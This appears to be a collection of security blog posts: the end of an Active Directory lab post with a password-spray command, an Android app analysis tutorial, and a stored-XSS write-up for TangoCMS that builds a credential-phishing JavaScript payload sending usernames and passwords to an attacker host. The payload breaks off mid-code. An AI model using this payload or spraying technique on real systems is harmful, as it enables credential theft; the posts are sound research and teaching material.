[*] 192.168.73.20:445     - USER=IC1DC1$ RID=1000
[*] 192.168.73.20:445     - TYPE=4 NAME=DnsAdmins rid=1101
[*] 192.168.73.20:445     - GROUP=DnsUpdateProxy RID=1102
[*] 192.168.73.20:445     - USER=INTERNAL$ RID=1103
[*] 192.168.73.20:445     - USER=child.user RID=1104
[*] 192.168.73.20:445     - USER=child.admin RID=1105
[*] 192.168.73.20:445     - USER=client1testspn$ RID=1106
[*] 192.168.73.20:445     - USER=child.local RID=1107
[*] 192.168.73.20:445     - USER=ChildTestSPN$ RID=1109
[*] 192.168.73.20:445     - USER=WIN10TEST$ RID=1110
[*] 192.168.73.20:445     - ICHILD1 [Administrator, Guest, krbtgt, DefaultAccount, IC1DC1$, INTERNAL$, child.user, child.admin, client1testspn$, child.local, ChildTestSPN$, WIN10TEST$ ]
[*] 192.168.73.20:        - Scanned 1 of 1 hosts (100% complete)

Password Spraying

Now that we have a list of valid usernames, it's worth trying to guess a valid password. Password spraying is a method of attack where you take a list of valid, or potentially valid, usernames and attempt to try different commonly used passwords across all usernames.

The lab environment is small but in a real world AD infrastructure it's very likely to be able to guess passwords for some accounts. Of course on a real infrastrcture extreme care has to be taken before attempting to perform password spraying attacks as there is a real possibilty of locking user accounts.

To perform a password spray CrackMapExec can be used:

1
2
3
4
5
6
Lab:~# cme smb 192.168.73.20 -d child1.internal.zeroday.lab -u users.txt -p Password4
SMB         192.168.73.20   445    IC1DC1           [*] Windows Server 2016 Datacenter Evaluation 14393 x64 (name:IC1DC1) (domain:child1.internal.zeroday.lab) (signing:True) (SMBv1:True)
SMB         192.168.73.20   445    IC1DC1           [-] child1.internal.zeroday.lab\Administrator:Password4 STATUS_LOGON_FAILURE
SMB         192.168.73.20   445    IC1DC1           [-] child1.internal.zeroday.lab\IC1DC1$:Password4 STATUS_LOGON_FAILURE
SMB         192.168.73.20   445    IC1DC1           [-] child1.internal.zeroday.lab\INTERNAL$:Password4 STATUS_LOGON_FAILURE
SMB         192.168.73.20   445    IC1DC1           [+] child1.internal.zeroday.lab\child.user:Password4

The password for the child.user account was discovered in this password spray attempt. Now recon from an authenticated point of view is possible on this domain.

Conclusion

AD security is a huge topic and I've only began the scrath the surface in this post, even from an unauthenticated point of view. Hopefully this was a half decent way to introduce the topic though.

It's worth noting that there are many toold that perform the same tests carried out in this post, but some of them did not work. I might make a post demonstrating that because it's important to understand that different tools will work in different situations, so it's very useful to have knowledge of many and try others when your first choice fails.

Further Reading

If you are serious about AD security, the best resource out there is adscurity.org by Sean Metcalf.

Android Basics

16 August 2015 at 17:06
By: 0xe7

Hacking Android is a huge topic, you have the Linux kernel, native code applications and normal Android applications that run on top of the Dalvik VM, a huge attack surface with the wireless, bluetooth, USB, NFC and various other interfaces.

This post is going to be a very short introduction to the platform as well as introducing some very basic analysis techniques for analyzing an Android application.

For this post I will be using a HTC Desire HD running an unrooted Android 2.3.5, this is an old version of Android, running on an old device but it will be fine for the purposes of this post.

The host machine that I'll be using is running 64bit Gentoo running the Linux kernel version 4.0.5.

Setting Up The Environment

The first thing you need to do if you want to analyze an Android device is to install the SDK.

Depending on your system, you might need to install both the Android Studio as well as the platform tools, its important that you have the platform-tools directory because that is the directory that contains the adb binary.

adb is the Android Debug Bridge and it's used to do any sort of debugging of any android device. Without this application, debugging Android will be very difficult.

On my Windows computer this was installed to C:\Users\User\AppData\Local\Android\sdk\platform-tools.

On my Debian-based system it was installed to $HOME/Android/Sdk/platform-tools and on my Gentoo system it was installed to /usr/bin.

Where ever it is installed to, it's best to include this directory in your PATH variable so that you can run it with cd'ing to that directory or having to put the whole file path in every time.

This is optional but on Linux I've been unable to get adb to work with running it as root, instead of having to use sudo all the time I set the permissions to the adb binary to 4750 and the ownership to root:wheel, this makes it a setuid binary and so will run with root permissions but only for users in the wheel group.

The permissions look as follows:

1
2
[email protected] ~ $ ls -l `which adb`
-rwsr-x--- 1 root wheel 156128 Aug  9 01:13 /usr/bin/adb

Exploring The System Using ADB

Firstly the Android device needs to be connected to the host machine using USB.

After that we need to enable USB debugging, on my test device the setting is in Settings->Applications->Development:

You will need to confirm this:

We can now use adb to get a shell on the Android device and take a look around, first let's check the version of the Linux kernel that it's running:

1
2
3
4
5
6
7
8
9
[email protected] ~ $ adb shell
* daemon not running. starting it now on port 5037 *
* daemon started successfully *
$ pwd
/
$ uname -a
uname: permission denied
$ cat /proc/version
Linux version 2.6.35.10-g931a37e ([email protected]) (gcc version 4.4.0 (GCC) ) #1 PREEMPT Wed Nov 9 14:04:03 CST 2011

So as you can see it is, in fact, running Linux version 2.6.35 but in some sort of restricted environment.

Let's check to see some details of the user that we have been logged in as:

1
2
3
4
5
6
$ whoami
whoami: permission denied
$ w
w: permission denied
$ cat /etc/passwd
/etc/passwd: No such file or directory

As you can see due to the restricted environment, the normal methods aren't working.

But there is an easy way to figure this out:

1
2
$ ps | grep ' ps'
grep: permission denied

So that didn't work either, but there is a way to use grep on the output of these commands:

1
2
3
$ exit
[email protected] ~ $ adb shell ps | grep ' ps'
shell     5968  5967  944    332   00000000 afd0b83c R ps

Here we can see we're running at the user shell. Also note that we can run the commands using adb but then pipe the output to applications running on our host system to sort through the data.

Knowing our username we can now see what shell we are running in:

1
2
3
4
[email protected] ~ $ adb shell ps | grep shell
shell     6062  29118 788    336   c009ccc8 afd0c78c S /system/bin/sh
shell     6063  6062  944    332   00000000 afd0b83c R ps
shell     29118 1     3464   216   ffffffff 00000000 S /sbin/adbd

So this is clearly a Linux system but its very different from most Linux systems, let's have a look at the directories under /:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
[email protected] ~ $ adb shell ls -l /
drwxr-xr-x root     system            2015-07-28 18:35 app-cache
dr-x------ root     root              2015-07-28 18:33 config
lrwxrwxrwx root     root              2015-07-28 18:33 sdcard -> /mnt/sdcard
drwxr-xr-x root     root              2015-07-28 18:33 acct
drwxrwxr-x root     system            2015-07-28 18:33 mnt
lrwxrwxrwx root     root              2015-07-28 18:33 vendor -> /system/vendor
lrwxrwxrwx root     root              2015-07-28 18:33 d -> /sys/kernel/debug
lrwxrwxrwx root     root              2015-07-28 18:33 etc -> /system/etc
drwxrwx--- system   cache             2015-08-15 19:00 cache
drwx------ root     root              2015-08-16 09:53 devlog
-rw-r--r-- root     root          728 1970-01-01 01:00 ueventd.spade.rc
-rw-r--r-- root     root         4429 1970-01-01 01:00 ueventd.rc
-rw-r--r-- root     root            0 1970-01-01 01:00 ueventd.goldfish.rc
drwxr-xr-x root     root              2012-11-18 05:06 system
drwxr-xr-x root     root              2015-07-28 18:32 sys
drwxr-x--- root     root              1970-01-01 01:00 sbin
dr-xr-xr-x root     root              1970-01-01 01:00 proc
-rwxr-x--- root     root         7423 1970-01-01 01:00 init.spade.rc
-rwxr-x--- root     root        21309 1970-01-01 01:00 init.rc
-rwxr-x--- root     root         1677 1970-01-01 01:00 init.goldfish.rc
-rwxr-x--- root     root       107216 1970-01-01 01:00 init
-rw-r--r-- root     root          118 1970-01-01 01:00 default.prop
drwxrwx--x system   system            2015-02-16 07:05 data
-rw-r--r-- root     root         1401 1970-01-01 01:00 cwkeys
-rw-r--r-- root     root          460 1970-01-01 01:00 bootcomplete.rc
drwx------ root     root              2011-11-09 05:59 root
drwxr-xr-x root     root              2015-08-10 08:39 dev

Again, some of these are familiar (like etc, proc, dev...) but directories like system, acct and app-cache are less familiar.

I'm not going to go through the whole of Android, the point of this section was to demonstrate that this is a Linux system but not 1 that will seem totally familiar with Linux admins.

There are, however, a couple of commands I want to mention here, firstly getprop:

1
2
3
4
5
[email protected] ~ $ adb shell getprop | grep build.version
[ro.build.version.incremental]: [208029.5]
[ro.build.version.sdk]: [10]
[ro.build.version.codename]: [REL]
[ro.build.version.release]: [2.3.5]

Here I'm just using getprop to show some information about the build version of Android but you can get a lot of information from this.

The other 1 is logcat, which is basically the system log:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
[email protected] ~ $ adb logcat -t 8
--------- beginning of /dev/log/system
--------- beginning of /dev/log/main
D/dalvikvm(11665): GC_CONCURRENT freed 513K, 37% free 5018K/7879K, external 0K/0K, paused 3ms+2ms
D/dalvikvm(14049): GC_EXPLICIT freed 13K, 41% free 4222K/7047K, external 0K/0K, paused 102ms
D/dalvikvm(11665): GC_CONCURRENT freed 545K, 36% free 5193K/8071K, external 0K/0K, paused 2ms+2ms
D/dalvikvm(11665): GC_CONCURRENT freed 594K, 36% free 5338K/8263K, external 0K/0K, paused 9ms+2ms
D/dalvikvm(11665): GC_CONCURRENT freed 779K, 38% free 5355K/8519K, external 0K/0K, paused 3ms+11ms
D/dalvikvm(11665): GC_CONCURRENT freed 831K, 37% free 5428K/8583K, external 0K/0K, paused 2ms+2ms
D/dalvikvm(11665): GC_CONCURRENT freed 857K, 38% free 5414K/8647K, external 0K/0K, paused 2ms+3ms
D/dalvikvm(11665): GC_CONCURRENT freed 721K, 37% free 5460K/8647K, external 0K/0K, paused 4ms+6ms

Here I'm just outputing the last 8 lines of the log, as you can see it's an actual built in command into adb, but you can run logcat from inside the shell too.

logcat is very useful for debugging and well as showing some information disclosure vulnerabilities that might exist in an Android application, but we'll get to that a bit later :-)

Installing And Running The Challenge App

For the purposes of this post I created a little, very basic, challenge application, which you can download from here.

You can install the application using adb:

1
2
3
4
5
us[email protected] ~ $ adb push Android/src/challenge1.apk /data/local/tmp/
2927 KB/s (1052648 bytes in 0.351s)
[email protected] ~ $ adb shell pm install /data/local/tmp/challenge1.apk
        pkg: /data/local/tmp/challenge1.apk
Success

Now that the application is installed we can run it and have a look at what it does.

Starting the application shows us this:

Putting in some text in to the field and clicking on the Check Password button shows us this:

So its clear what we have to try and do here.

Android Applications

Android applications come in apk format, these are just Java archive file:

1
2
[email protected] ~/Android/src $ file challenge1.apk
challenge1.apk: Java archive data (JAR)

These are very similar to zip files and can be unzipped using the unzip utility:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
[email protected] ~/Android/src $ mkdir challenge1
[email protected] ~/Android/src $ cd challenge1
[email protected] ~/Android/src/challenge1 $ unzip ../challenge1.apk
Archive:  ../challenge1.apk
  inflating: AndroidManifest.xml
  inflating: res/anim/abc_fade_in.xml
  inflating: res/anim/abc_fade_out.xml
  inflating: res/anim/abc_grow_fade_in_from_bottom.xml
  inflating: res/anim/abc_popup_enter.xml
  inflating: res/anim/abc_popup_exit.xml
  inflating: res/anim/abc_shrink_fade_out_from_bottom.xml
...
  inflating: res/layout/notification_template_lines.xml
  inflating: res/layout/notification_template_media.xml
  inflating: res/layout/notification_template_part_chronometer.xml
  inflating: res/layout/notification_template_part_time.xml
  inflating: res/layout/select_dialog_item_material.xml
  inflating: res/layout/select_dialog_multichoice_material.xml
  inflating: res/layout/select_dialog_singlechoice_material.xml
  inflating: res/layout/support_simple_spinner_dropdown_item.xml
  inflating: res/menu/menu_main.xml
 extracting: res/mipmap-hdpi-v4/ic_launcher.png
 extracting: res/mipmap-mdpi-v4/ic_launcher.png
 extracting: res/mipmap-xhdpi-v4/ic_launcher.png
 extracting: res/mipmap-xxhdpi-v4/ic_launcher.png
 extracting: resources.arsc
  inflating: classes.dex
  inflating: META-INF/MANIFEST.MF
  inflating: META-INF/CERT.SF
  inflating: META-INF/CERT.RSA

As you will see there are a lot of files in res/, I've shortened it here.

One of the most important files is AndroidManifest.xml, this contains the configuration of the application, including activity, intent and permissions declarations.

But as you can see this is some sort of binary file:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[email protected] ~/Android/src/challenge1 $ file AndroidManifest.xml
AndroidManifest.xml: data
[email protected] ~/Android/src/challenge1 $ cat AndroidManifest.xml
„P4Rvœª¸.2Dx¬À,J^xŒ.fz
                         versionCode
minSdkVersiontargetSdkVersion       versionName
                             allowBackupiconlabelthemenameandroid*http://schemas.android.com/apk/res/androidpackageplatformBuildVersionCodeplatformBuildVersionNammanifest+ph.exploit.crack.cha5.1.1-181972uses-sdkge11.022
intent-filteractionandroid.intent.action.MAIcategory android.intent.category.LAUNCHER,nActivity
                                                                                      €ÿÿÿÿ
ˆÿÿÿÿÿÿÿÿ
ÿÿÿÿ
ÿÿÿÿ
ÿÿÿLÿÿÿÿÿÿÿÿ
ÿÿÿÿ

ÿÿÿÿ    ÿÿÿÿÿÿÿÿt
                 ÿÿÿÿÿÿÿÿ
ÿÿÿw
ÿÿÿÿ
ÿÿÿÿ
ÿÿÿÿÿÿÿLÿÿÿÿÿÿÿÿ
ÿÿÿÿ
$ÿÿÿÿÿÿÿÿ8ÿÿÿÿÿÿÿÿ
ÿÿÿÿÿÿÿÿ8ÿÿÿÿÿÿÿÿ
ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ

It's actually binary XML.

We can manually convert this to plain XML using something like AXMLPrinter2 but I'll show an easier way to look at this later.

Another important file is the classes.dex file. This contains all of our Java code.

Most code that runs on Android applications, including most of the Android Framework, is Java, but instead of compiling to Java bytecode, it is compiled into Dalvik bytecode (and stored in .dex or .odex files).

Again, this could be manually decompiled back to Java using dex2jar and looked at using jd-gui but I'll show a better way of doing this too.

Doing A Very Basic Static Analysis

To end this post I'll crack this challenge while demonstrating a quick basic analysis of the apk file using a tool called androguard created by Anthony Desnos.

Androguard is a python toolset for analyzing apk files.

Its very easy to setup, providing you have python and git installed you just run:

1
git clone https://github.com/androguard/androguard.git

This will create a directory in the current directory called androguard.

Now you just need to make sure you have the latest version of IPython installed, you can do that by running:

1
pip install ipython

Now just cd to the androguard directory and you should see the following (or something very similar):

1
2
3
[email protected] ~/tools/androguard $ ls
androarsc.py  androaxml.py   androdd.py    androdis.py   androguard   androlyze.py  androsim.py   CHANGELOG  elsim     LICENCE-2.0  README.md  tests
androauto.py  androcsign.py  androdiff.py  androgexf.py  androgui.py  androsign.py  apkviewer.py  demos      examples  Makefile     setup.py   tools

The tool we'll be using is androlyze.py, we can start it by running:

1
2
3
[email protected] ~/tools/androguard $ ./androlyze.py -s
Androlyze version 3.0
In [1]:

Now we need to import our apk file:

1
2
3
In [1]: a,d,dx = AnalyzeAPK('/home/user/Android/src/challenge1.apk', decompiler='dad')

In [2]:

Here we are using the dad decompiler, created by Geoffroy Gueguen, that comes with androguard and selecting the challenge apk file.

Now we can look at this application in more detail:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
In [2]: a.get_activities()
Out[2]: ['ph.exploit.crack.challenge1.crackchallenge1.MainActivity']

In [3]: a.get_main_activity()
Out[3]: u'ph.exploit.crack.challenge1.crackchallenge1.MainActivity'

In [4]: a.get_permissions()
Out[4]: []

In [5]: a.get_receivers()
Out[5]: []

In [6]: print a.xml['AndroidManifest.xml'].toxml()
<?xml version="1.0" ?><manifest android:versionCode="1" android:versionName="1.0" package="ph.exploit.crack.challenge1.crackchallenge1" platformBuildVersionCode="22" platformBuildVersionName="5.1.1-1819727" xmlns:android="http://schemas.android.com/apk/res/android">
<uses-sdk android:minSdkVersion="10" android:targetSdkVersion="22">
</uses-sdk>
<application android:allowBackup="true" android:icon="@7F030000" android:label="@7F060012" android:theme="@7F080077">
<activity android:label="@7F060012" android:name="ph.exploit.crack.challenge1.crackchallenge1.MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN">
</action>
<category android:name="android.intent.category.LAUNCHER">
</category>
</intent-filter>
</activity>
</application>
</manifest>

In [7]:

As you can see this is a very basic application, but we can now see the contents of the AndroidManifest.xml file.

An activity is basically just a screen, or, to relate it to a web application, a page. The main activity is the first activity that is shown to the user.

Let's try to look at some of the code.

First we'll print the different methods which are part of the main activity:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
In [7]: for m in d.CLASS_Lph_exploit_crack_challenge1_crackchallenge1_MainActivity.get_methods():
   ...:     print m.get_name()
   ...:     
<init>
onClick
onCreate
onCreateOptionsMenu
onOptionsItemSelected

In [8]:

The first place to look here is the onCreate method.

This is the code that gets run when the application first starts:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
In [8]: d.CLASS_Lph_exploit_crack_challenge1_crackchallenge1_MainActivity.METHOD_onCreate.source()
protected void onCreate(android.os.Bundle p15)
    {
        super.onCreate(p15);
        android.widget.RelativeLayout v1_1 = new android.widget.RelativeLayout(this);
        v1_1.setBackgroundColor(-16777216);
        android.widget.RelativeLayout$LayoutParams v0_1 = new android.widget.RelativeLayout$LayoutParams(-2, -2);
        android.widget.RelativeLayout$LayoutParams v2_1 = new android.widget.RelativeLayout$LayoutParams(-2, -2);
        android.widget.RelativeLayout$LayoutParams v4_1 = new android.widget.RelativeLayout$LayoutParams(-2, -2);
        android.widget.RelativeLayout$LayoutParams v8_1 = new android.widget.RelativeLayout$LayoutParams(-2, -2);
        android.widget.RelativeLayout$LayoutParams v7_1 = new android.widget.RelativeLayout$LayoutParams(-2, -2);
        v0_1.addRule(14);
        v0_1.addRule(15);
        this.checkButton = new android.widget.Button(this);
        this.checkButton.setText("Check Password");
        this.checkButton.setBackgroundColor(-1);
        this.checkButton.setTextColor(-16777216);
        this.checkButton.setId(1);
        this.checkButton.setClickable(1);
        this.checkButton.setOnClickListener(this);
        this.inputBox = new android.widget.EditText(this);
        this.inputBox.setBackgroundColor(-1);
        this.inputBox.setTextColor(-16711936);
        this.inputBox.setId(2);
        v2_1.addRule(2, this.checkButton.getId());
        v2_1.addRule(14);
        v2_1.setMargins(0, 0, 0, 50);
        android.widget.TextView v3_1 = new android.widget.TextView(this);
        v3_1.setText("Please enter the secret password:");
        v3_1.setTextColor(-1);
        v3_1.setId(3);
        v4_1.addRule(2, this.inputBox.getId());
        v4_1.addRule(14);
        v4_1.setMargins(0, 0, 0, 50);
        android.widget.TextView v9_1 = new android.widget.TextView(this);
        v9_1.setText("Welcome to Challenge 1!");
        v9_1.setTextColor(-1);
        v9_1.setId(4);
        v8_1.addRule(2, v3_1.getId());
        v8_1.addRule(14);
        v8_1.setMargins(0, 0, 0, 50);
        this.resultText = new android.widget.TextView(this);
        this.resultText.setId(5);
        this.resultText.setVisibility(4);
        v7_1.addRule(3, this.checkButton.getId());
        v7_1.addRule(14);
        v7_1.setMargins(0, 50, 0, 0);
        this.inputBox.setWidth(((int) android.util.TypedValue.applyDimension(1, 1133903872, this.getResources().getDisplayMetrics())));
        v1_1.addView(this.checkButton, v0_1);
        v1_1.addView(this.inputBox, v2_1);
        v1_1.addView(v3_1, v4_1);
        v1_1.addView(v9_1, v8_1);
        v1_1.addView(this.resultText, v7_1);
        this.setContentView(v1_1);
        return;
    }


In [9]:

We can see here that the actual interface for this application is created dynamically using Java.

As you can see from line 20, this main class is registered as the onClickListener for the button that checks the value of the password.

This means that when you press the Check Password button, it will run the onClick method in this class.

So let's look at the code for that method:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
In [9]: d.CLASS_Lph_exploit_crack_challenge1_crackchallenge1_MainActivity.METHOD_onClick.source()
public void onClick(android.view.View p4)
    {
        if (p4 == this.checkButton) {
            if (this.inputBox.getText().toString().equals("supersecurepassword") != 1) {
                this.resultText.setText("Incorrect password! :\'-(");
                this.resultText.setTextColor(-65536);
                this.resultText.setVisibility(0);
            } else {
                this.resultText.setText("Well done!! Challenge passed! :-)");
                this.resultText.setTextColor(-16711936);
                this.resultText.setVisibility(0);
            }
        }
        return;
    }


In [10]:

So here it's obvious that the password is supersecurepassword.

We can check that on the application itself:

It was fine this time but there are times when a decompilation will not be enough, the decompiler will not be able to recreate the source code well enough to get the right result.

In these cases you can use the disassembler like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
 In [10]: d.CLASS_Lph_exploit_crack_challenge1_crackchallenge1_MainActivity.METHOD_onClick.show()
########## Method Information
Lph/exploit/crack/challenge1/crackchallenge1/MainActivity;->onClick(Landroid/view/View;)V [access_flags=public]
########## Params
- local registers: v0...v3
- v4: android.view.View
- return: void
####################
***************************************************************************
onClick-BB@0x0 :
        0  (00000000) const/4             v2, 0
        1  (00000002) iget-object         v0, v3, Lph/exploit/crack/challenge1/crackchallenge1/MainActivity;->checkButton Landroid/widget/Button;
        2  (00000006) if-ne               v4, v0, 41 [ onClick-BB@0xa onClick-BB@0x58 ]

onClick-BB@0xa :
        3  (0000000a) iget-object         v0, v3, Lph/exploit/crack/challenge1/crackchallenge1/MainActivity;->inputBox Landroid/widget/EditText;
        4  (0000000e) invoke-virtual      v0, Landroid/widget/EditText;->getText()Landroid/text/Editable;
        5  (00000014) move-result-object  v0
        6  (00000016) invoke-virtual      v0, Ljava/lang/Object;->toString()Ljava/lang/String;
        7  (0000001c) move-result-object  v0
        8  (0000001e) const-string        v1, 'supersecurepassword'
        9  (00000022) invoke-virtual      v0, v1, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        10 (00000028) move-result         v0
        11 (0000002a) const/4             v1, 1
        12 (0000002c) if-ne               v0, v1, 23 [ onClick-BB@0x30 onClick-BB@0x5a ]

onClick-BB@0x30 :
        13 (00000030) iget-object         v0, v3, Lph/exploit/crack/challenge1/crackchallenge1/MainActivity;->resultText Landroid/widget/TextView;
        14 (00000034) const-string        v1, 'Well done!! Challenge passed! :-)'
        15 (00000038) invoke-virtual      v0, v1, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
        16 (0000003e) iget-object         v0, v3, Lph/exploit/crack/challenge1/crackchallenge1/MainActivity;->resultText Landroid/widget/TextView;
        17 (00000042) const               v1, -16711936
        18 (00000048) invoke-virtual      v0, v1, Landroid/widget/TextView;->setTextColor(I)V
        19 (0000004e) iget-object         v0, v3, Lph/exploit/crack/challenge1/crackchallenge1/MainActivity;->resultText Landroid/widget/TextView;
        20 (00000052) invoke-virtual      v0, v2, Landroid/widget/TextView;->setVisibility(I)V [ onClick-BB@0x58 ]

onClick-BB@0x58 :
        21 (00000058) return-void

onClick-BB@0x5a :
        22 (0000005a) iget-object         v0, v3, Lph/exploit/crack/challenge1/crackchallenge1/MainActivity;->resultText Landroid/widget/TextView;
        23 (0000005e) const-string        v1, "Incorrect password! :'-("
        24 (00000062) invoke-virtual      v0, v1, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
        25 (00000068) iget-object         v0, v3, Lph/exploit/crack/challenge1/crackchallenge1/MainActivity;->resultText Landroid/widget/TextView;
        26 (0000006c) const/high16        v1, -1
        27 (00000070) invoke-virtual      v0, v1, Landroid/widget/TextView;->setTextColor(I)V
        28 (00000076) iget-object         v0, v3, Lph/exploit/crack/challenge1/crackchallenge1/MainActivity;->resultText Landroid/widget/TextView;
        29 (0000007a) invoke-virtual      v0, v2, Landroid/widget/TextView;->setVisibility(I)V
        30 (00000080) goto                -20 [ onClick-BB@0x58 ]

***************************************************************************
########## XREF
####################

In [11]:

Here we can see the actual dalvik disassembly and decompile it ourself if need be.

Conclusion

So we've learnt a bit about Android and how we can begin to analyze the system more.

We have been introduced to the basic layout of Android and Android applications, as well as a few tools that can be used to look a little closer at them.

Hopefully this blog post has done a decent job of introducing the basics of Android and given ideas for further exploration.

Further Reading

Android Hacker's Handbook by Joshua J. Drake, Zach Lanier, Collin Mulliner, Pau Oliva Fora, Stephen A. Ridley, Georg Wicherski

Authenticated Stored XSS in TangoCMS

19 March 2015 at 12:37
By: 0xe7

I decided to take a look at TangoCMS for vulnerabilities even though it has been discontinued.

To my surprise there wasn't a huge amount that I could find, I did, however, find an authenticated stored XSS vulnerability.

This post is the description of that vulnerability and how to exploit it.

The Vulnerability

The actual vulnerability exists in the article functionality.

While by default only the admin user is able to create new articles, it makes sense that other users would be given the permissions to create them.

There is some client side filtering going on that does HTML encoding, so if I create an article with the classic javascript alert payload:

What it actually sends is:

The relevant field contains:

1
%23%21html%0D%0A%3Cp%3E%26lt%3Bscript%26gt%3Balert%28%27xss%27%29%26lt%3B%2Fscript%26gt%3B%3C%2Fp%3E

If you URL decode this it is more clear:

1
2
#!html
<p>&lt;script&gt;alert('xss')&lt;/script&gt;</p>

So its HTML encoded the less than (<) and greater than (>) signs.

Fortunately this is very easy to beat by intecepting the request in burp and inserting our payload then:

Now if we visit the articles page the payload launches:

Exploitation

Even though we've clearly found an XSS vulnerability it is only avaliable to authenticated users who have the ability to create (or edit) articles.

On top of this, the session cookies that are used by the application aren't accessible to script code (they all have the HttpOnly flag set), as you can see when you login:

Because of all of this it isn't immediately obvious why this vulnerability is important at all, and a client could decide to ignore the vulnerability because of this, so I went about creating a decent POC payload that demonstrates the problem with this type of vulnerability.

I decided to create a credential harvesting exploit which hopefully would trick even the more security conscious users (obviously ignoring the ability to use BeEF, I like to show how to do things manually).

The main goal of this exploit is to be as stealthy as possible while stealing the credentials so we only want to attack currently logged in users and also we only want to attack each user once.

The first problem (attacking only logged in users) can be acheived by careful review of the client side source code:

Here you can see a div tag with the id sessionGreating and it contains an a tag whose innerHTML is the actual username (here the username is just user, really imaginative :-).

This obviously only shows to users that are currently logged in.

The fact that we can grab the username out of this helps us with the next part of our exploit.

To attack the user only once we will use localStorage, and by getting the username of the logged in user we can make sure that we still run our main payload for different users that use the same browser.

We can now build the start of our payload:

1
2
3
4
5
6
7
d=document.getElementById('sessionGreeting');
if (d) {
    n=d.getElementsByTagName('a')[0].innerHTML;
    if (!localStorage.getItem(n)) {
        [REST OF PAYLOAD]
    }
}

We could of course redirect any user that isn't logged in to the login screen but that would make it more noisy and I think it would be caught quicker.

At this point we know the user is logged in, we also know the username so we could target specific users if we wish but I will target all logged in users.

We could build the login page manually but it would be boring and hugely unnecessary.

The best way I can think of is by just using the real login page, to do this though we'll first need to log the user out, once logged out we can request the real login page:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
r=new XMLHttpRequest();
r.open("GET","http://tangocms/index.php?url=session/index/logout",true);
r.send();
r.onreadystatechange=function(){
    if(r.readyState==4){
        l=new XMLHttpRequest();
        l.open("GET","http://tangocms/index.php?url=session",true);
        l.send();
        l.onreadystatechange=function(){
            if(l.readyState==4){
                [REST OF PAYLOAD]
            }
        }
    }
}

Now we have the contents of the login page in l.responseText.

Before we write this to the screen we need to first make a couple of changes.

We need to hook the onsubmit event of the login form, that way we can run a function which steals the username and password before submitting the form.

We also need to tell the user why the login page is being displayed, if we just log the user straight out with no explaination, that might raise more suspicion than if an explaination is given.

For the explaination I think I'll go with the Your session has expired, please login again message, but we want this to look as realistic as possible so we want to display it how normal error messages are displayed on the site.

We can check this by failing a login:

Looking at the source code for this:

We can see that the message is put right after the h1 that contains a innerHTML of Login right before the form, which is the only form on the page.

We can also see that its contained within a div tag with the id of eventmsgError and a calls of eventmsg, and then inside a p tag.

With all of this information we should be able to create our custom error message using javascript:

1
2
3
4
5
6
7
d=document;
i=d.createElement('div');
i.id='eventmsgError';
i.className='eventmsg';
i.innerHTML="<p>Your session has expired, please login again</p>";
f=d.forms[0];
d.getElementById('content').children[0].insertBefore(i, f);

Obviously we can't use the normal document element for this but we can transform our responseText into a document object like this:

1
2
p=new DOMParser();
z=p.parseFromString(l.responseText,"text/html");

We need to hook the onsubmit event of the form but first we should replace the innerHTML of the document with our newly created login page:

1
document.documentElement.innerHTML=z.documentElement.innerHTML;

Now we can hook the onsubmit event:

1
2
3
4
5
6
7
8
document.forms[0].onsubmit=function(){
    u=document.getElementById('sessionIdentifier').value;
    pass=document.getElementById('sessionPassword').value;
    x=new XMLHttpRequest();
    x.open("GET","http://evilhacker.com?user="+u+"&pass="+pass,true);
    x.send();
    localStorage.setItem(n, "Done");
}

So after I steal the username and password and send it to my machine, I set the localStorage so that it doesn't run again for that user.

Obviously the URL that the username and password is sent to can be anything.

Lastly I want to implement 1 more thing that will make this attack look even more authentic.

I'm going to use pushState to change the URL that is shown in the address bar as the page is changed to the login page.

This will hopefully fool any user who is perceptive enough to look at the address bar to make sure they are on the login page.

Its worth baring in mind that this is only possible because the target URL is the same as the URL we are attacking from, it is not possible to do this for different domains:

1
2
s={ foo: "bar" };
history.pushState(s, "", "/index.php?url=session");

The state object is irrelavent for our purposes and the second argument to pushState (the title) is actually ignored, but will be sorted by the HTML anyway.

Its worth noting that I tried the exploit as is and it didn't work, here is why it didn't work:

The sessionGreeting div tag that we are using to check if the user is logged in is after the script, and as the script gets run when it is first encountered instead of when the full document is loaded the element doesn't exist yet so it doesn't get past the first if statement.

We can fix this easily using a callback that triggers when the document has finished loading:

1
2
3
4
5
document.onreadystatechange=function(){
    if(document.readyState=="complete"){
        [REST OF PAYLOAD]
    }
}

So now our full javascript payload can be created:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
document.onreadystatechange=function(){
    if(document.readyState=="complete"){

        d=document.getElementById('sessionGreeting');
        if (d) {
            n=d.getElementsByTagName('a')[0].innerHTML;
            if (!localStorage.getItem(n)) {
                r=new XMLHttpRequest();
                r.open("GET","http://tangocms/index.php?url=session/index/logout",true);
                r.send();
                r.onreadystatechange=function(){
                    if(r.readyState==4){
                        l=new XMLHttpRequest();
                        l.open("GET","http://tangocms/index.php?url=session",true);
                        l.send();
